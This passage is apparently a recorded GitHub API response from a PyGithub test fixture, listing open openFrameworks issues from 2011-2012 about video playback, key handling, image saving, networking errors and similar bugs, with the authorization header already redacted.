(win7)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T09:34:52Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1261982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4935'), ('content-length', '45016'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c403779e3346f56dddb655b8bb57d5ae"'), ('date', 'Tue, 29 May 2012 19:27:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-09T06:11:12Z","body":"I'm curious why the movieplayer uses AvAsset instead of AvPlayer which seems better suited for OF needs ( seeking / looping etc ) \r\n\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html\r\n\r\nhttp://stackoverflow.com/questions/5361145/looping-a-video-with-avfoundation-avplayer\r\n\r\n\r\nI think you can get init a player with an AVAsset:\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html%23//apple_ref/occ/instm/AVPlayer/initWithPlayerItem:\r\nhttp://developer.apple.com/library/ios/documentation/AVFoundation/Reference/AVPlayerItem_Class/Reference/Reference.html#//apple_ref/occ/instm/AVPlayerItem/initWithAsset:\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/666","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":666,"html_url":"https://github.com/openframeworks/openFrameworks/issues/666","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iphone video player should use AVPlayer ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-20T20:01:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1258863,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-08T04:45:01Z","body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","comments":5,"milestone":null,"number":652,"html_url":"https://github.com/openframeworks/openFrameworks/issues/652","assignee":null,"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-15T18:49:46Z","state":"open","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484},"id":1231959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-20T19:04:31Z","body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","comments":4,"milestone":null,"number":651,"html_url":"https://github.com/openframeworks/openFrameworks/issues/651","assignee":null,"title":"ofFBO + ofCamera = unwanted offset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-07-15T13:21:44Z","state":"open","user":{"url":"https://api.github.com/users/toxin20","gravatar_id":"29a3b85e704ec06a72df8897a726920e","login":"toxin20","avatar_url":"https://secure.gravatar.com/avatar/29a3b85e704ec06a72df8897a726920e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":123776},"id":1230184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-19T00:31:38Z","body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","comments":1,"milestone":null,"number":646,"html_url":"https://github.com/openframeworks/openFrameworks/issues/646","assignee":null,"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-07-13T15:18:04Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1216274,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T16:05:23Z","body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","comments":0,"milestone":null,"number":645,"html_url":"https://github.com/openframeworks/openFrameworks/issues/645","assignee":null,"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T16:05:23Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1209436,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-16T04:21:18Z","body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem is\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","comments":1,"milestone":null,"number":643,"html_url":"https://github.com/openframeworks/openFrameworks/issues/643","assignee":null,"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-12T13:05:25Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":1208289,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:09Z","body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or not.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","comments":0,"milestone":null,"number":642,"html_url":"https://github.com/openframeworks/openFrameworks/issues/642","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone: Possible delayed input/touch event issue ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T02:46:23Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1205789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T13:03:00Z","body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","comments":1,"milestone":null,"number":631,"html_url":"https://github.com/openframeworks/openFrameworks/issues/631","assignee":null,"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-07T21:37:47Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1185346,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Tried to load a text file over https but I got this message:\r\n\r\n``400 The plain HTTP request was sent to HTTPS port\r\n

400 Bad Request

The plain HTTP request was sent to HTTPS port

nginx/1.0.4
``\r\n\r\n\r\n\r\nUsing this code\r\n``ofHttpResponse resp = ofLoadURL(\"https://raw.github.com/openframeworks/openFrameworks/6af1dc980f6d93d84b3bf8fdc1b6435697be9ed9/readme.txt\");``\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/623","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":623,"html_url":"https://github.com/openframeworks/openFrameworks/issues/623","assignee":null,"title":"ofLoadURL() does not work with httpS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-06T18:12:06Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1175654,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T18:09:03Z","body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","comments":0,"milestone":null,"number":618,"html_url":"https://github.com/openframeworks/openFrameworks/issues/618","assignee":null,"title":"call ofEasyCam::setPosition in testApp::setup() is forgotten","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-05T18:23:34Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1169032,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-27T18:30:26Z","body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","comments":0,"milestone":null,"number":612,"html_url":"https://github.com/openframeworks/openFrameworks/issues/612","assignee":null,"title":"need conversion ofMatrix3x3<->ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-06-27T18:30:26Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1124068,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-04T10:10:06Z","body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","comments":4,"milestone":null,"number":605,"html_url":"https://github.com/openframeworks/openFrameworks/issues/605","assignee":null,"title":"function wrapping glMultMatrixf in ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-16T13:13:35Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1067300,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:59Z","body":"Here's a function that will do it...\r\n\r\nvoid ofxiPhoneLaunchBrowser(string url) {\r\n\t[[UIApplication sharedApplication] openURL:[NSURL URLWithString:ofxStringToNSString(url)]];\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/603","comments":0,"milestone":null,"number":603,"html_url":"https://github.com/openframeworks/openFrameworks/issues/603","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofLaunchBrowser() for iPhone not implemented","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-13T13:03:15Z","state":"open","user":{"url":"https://api.github.com/users/mazbox","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","login":"mazbox","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":194121},"id":1048971,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:38:43Z","body":"OF: OF_LOG_ERROR: ofxNetwork:/addons/ofxNetwork/src/ofxTCPManager.cpp: 157 ECONNREFUSED: the server has actively refused to establish the connection\r\n\r\nThis error happens in every use of ofxTCPClient.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/599","comments":1,"milestone":null,"number":599,"html_url":"https://github.com/openframeworks/openFrameworks/issues/599","assignee":null,"title":"TCPManager Consistent Error","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-08T23:02:28Z","state":"open","user":{"url":"https://api.github.com/users/tomorrowevening","gravatar_id":"f92a8e912b59171abde0354e2f212c12","login":"tomorrowevening","avatar_url":"https://secure.gravatar.com/avatar/f92a8e912b59171abde0354e2f212c12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":626143},"id":1027184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-01T13:56:17Z","body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","comments":0,"milestone":null,"number":591,"html_url":"https://github.com/openframeworks/openFrameworks/issues/591","assignee":null,"title":"problem with ofImage resize","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-01T13:56:17Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":984564,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T12:33:31Z","body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","comments":0,"milestone":null,"number":590,"html_url":"https://github.com/openframeworks/openFrameworks/issues/590","assignee":null,"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-05-31T11:31:08Z","state":"open","user":{"url":"https://api.github.com/users/cristobal","gravatar_id":"c7f941e0c10696b758ae8792714a6744","login":"cristobal","avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":155505},"id":978212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T02:06:22Z","body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","comments":0,"milestone":null,"number":589,"html_url":"https://github.com/openframeworks/openFrameworks/issues/589","assignee":null,"title":"setFromPixels vs setFromExternalPixels","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-31T02:06:22Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":976610,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:54:02Z","body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","comments":5,"milestone":null,"number":582,"html_url":"https://github.com/openframeworks/openFrameworks/issues/582","assignee":null,"title":"templated code needs to be more readable","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-23T17:46:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":942647,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T13:42:28Z","body":"just need to add the line\r\n\r\n\t\t\tcase 230400: cfsetispeed(&options,B230400);\r\n\t\t\t\tcfsetospeed(&options,B230400);\r\n\t\t\t\tbreak;\r\n\r\nin the setup function after\r\ncase 115200: cfsetispeed(&options,B115200);\r\n\t\t\t\t\t\tcfsetospeed(&options,B115200);\r\n\t\t\t\tbreak;\r\n\r\ntested with our device that runs at that baud rate, seems to work a-OK so far.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/577","comments":2,"milestone":null,"number":577,"html_url":"https://github.com/openframeworks/openFrameworks/issues/577","assignee":null,"title":"ofSerial: add 230400 